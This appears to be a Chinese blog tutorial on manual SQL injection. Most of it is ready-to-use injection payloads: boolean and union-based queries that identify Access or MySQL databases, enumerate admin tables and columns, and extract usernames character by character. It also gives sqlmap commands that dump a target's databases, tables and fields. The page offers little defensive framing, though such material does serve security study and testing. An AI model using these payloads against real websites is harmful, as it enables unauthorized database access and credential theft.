zoukankan      html  css  js  c++  java
  • SQL注入(手工篇)

    开发人员在开发Web系统时对输入的数据没有进行有效的验证及过滤,就存在引发SQL注入漏洞的可能,并导致查看、插入、删除数据库的数据,甚至可以执行主机系统命令。

    1.可能出现asp?id=x的网站

      只能是基于asp、PHP、jsp、aspx的动态网站,并且存在数据库交互,例:登陆、留言板、搜索、新闻。但是静态页面不可以,如html、htm。

    2.漏洞测试

      (1)单引号测试:在页面中执行命令时使用成对单引号和单个单引号进行测试,查看是否有SQL注入;

      (2)利用条件语句测试:利用SQL连接选项‘and’连接URL,把1=1和1=2作为条件同样连接进去,如果条件不成立数据库就会发生变化,代表存在注入,同时也可以判断数据库的类型。

    3.Acess数据库注入(手动)

      (1)使用‘and’语句来判断是否存在注入;

      (2)判断数据库类型;

        and (select count(*) from msysobjects)>0;返回权限不足是access表,反之则MSSQL。

      (3)查看数据库名;

        and db_name()>0

        (4)查看版本信息;

        and 0<>(select @@version)

      (5)查看数据库中是否存在admin这个管理表;

        and exists(select * from [admin])

        and (select count(*) from admin)>0

      (6)查看admin这个表中是否有username这个管理列;

        and exists(select top 1 [username] from [admin])

        and (select username from admin)>0

      (7)猜测admin这个管理列中用户名的长度;

        and (select top 1 len(username) from admin)>0

        后面的长度随意猜测,选择最大返回正常值加1作为长度。

        (8)取出username的ASCII码值;

        and (select top 1 asc(mid(username,N,1)) from admin)>0

        mid()函数用来截取,N为第几位,‘1’代表几位数;得到的结果可用工具小葵进行转换,得到的便是真实值。

    4.MySQL数据库注入(手动)

      (1)判断注入点,后面加#,返回正常则为MySQL数据库;

      (2)判断字段数;

        orderb by 1--

        数字可以不断的加,当返回值改变时,则为全部字段数+1;得到字段数来判断能回显数据的位置

      (3)联合查询,判断可回显数据的位置;

        union select 1,2,3...(上一个得到的字段数)--

        要在URL中加入一个错误的判断值(and 1=2 或在数值前加‘-’号)页面才会显示能够显示数据的位置。

      (4)查看用户,版本,库名

        user(),version(),database()

      (5)查看管理表(常见的管理表命名方式:system、login、admin、users)

        union select 1,table_name(此处为可显示数据的位置),3,...(字段数) from Information_schema.tables where table_schema=(此处为库名的16进制数) limit 0,1--

      (6)查看列

        union select 1,column_name,3,..., from Information_schema.column where table_name=(表名16进制) limit 0,1--

    5.sqlmap

      (1)需要在python环境下运行;

      (2)测试是否为注入点;

        sqlmap.py -u "URL"

      (3)获取数据列表;

        sqlmap.py -u "URL" --dbs

      (4)当前数据库;

        sqlmap.py -u "URL" --current-db

      (5)获取数据库所有表信息;

        sqlmap.py -u "URL" --tables -D "目标数据库"

      (6)获取列;

        sqlmap.py -u "URL" --column -T "管理表" -D “目标数据库”

      (7)获取字段;

        sqlmap.py -u "URL" --dump -C "字段" -T “管理表” -D “目标数据库”

  • 相关阅读:
    曹工说Spring Boot源码(18)-- Spring AOP源码分析三部曲,终于快讲完了 (aop:config完整解析【下】)
    曹工说Spring Boot源码(17)-- Spring从xml文件里到底得到了什么(aop:config完整解析【中】)
    曹工说Spring Boot源码(16)-- Spring从xml文件里到底得到了什么(aop:config完整解析【上】)
    曹工说Spring Boot源码(15)-- Spring从xml文件里到底得到了什么(context:load-time-weaver 完整解析)
    期货
    手机像素密度的计算公式
    线性代数第一讲 行列式01
    matlab找出某个元素的位置序号
    《树先生》影评
    当你的才华还不足以支撑起你的野心时,你就该静下心来学习
  • 原文地址:https://www.cnblogs.com/yxq-123/p/11529956.html
Copyright © 2011-2022 走看看